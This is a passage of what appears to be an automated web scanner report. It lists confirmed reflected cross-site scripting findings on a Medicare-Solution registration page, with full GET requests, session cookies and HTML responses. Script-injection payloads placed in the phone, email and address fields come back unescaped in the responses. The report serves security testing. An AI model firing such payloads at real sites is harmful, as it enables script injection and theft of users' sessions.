<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="'"--></style></script><script>netsparker(0x000932)</script>" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3"..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET 3
provider_type_other GET 3
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET '"--></style></script><script>alert(0x000953)</script>
address1 GET 3
address2 GET 3
city GET 3
state GET 3
zip GET 3
demouserid GET 3

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=3&provider_type_other=3&cms_contract=3&interest_yn=Y&telephone=3&email='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000953)%3C/script%3E&address1=3&address2=3&city=3&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000-nVs9a1EeuwnLIE-FroiJiL:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:24:20 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="'"--></style></script><script>netsparker(0x000953)</script>" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3" height=25><inp..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET 3
provider_type_other GET 3
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET '"--></style></script><script>alert(0x000971)</script>
address2 GET 3
city GET 3
state GET 3
zip GET 3
demouserid GET 3

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=3&provider_type_other=3&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker@example.com&address1='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000971)%3C/script%3E&address2=3&city=3&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000btFqEOSxRv0i-7UuOqDkOTU:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:24:22 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="'"--></style></script><script>netsparker(0x000971)</script>" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3"..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET 3
provider_type_other GET 3
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET '"--></style></script><script>alert(0x000989)</script>
city GET 3
state GET 3
zip GET 3
demouserid GET 3

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=3&provider_type_other=3&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker@example.com&address1=3&address2='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000989)%3C/script%3E&city=3&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000BgYm2ZSW5TwVGhmZnofJenY:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:24:24 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
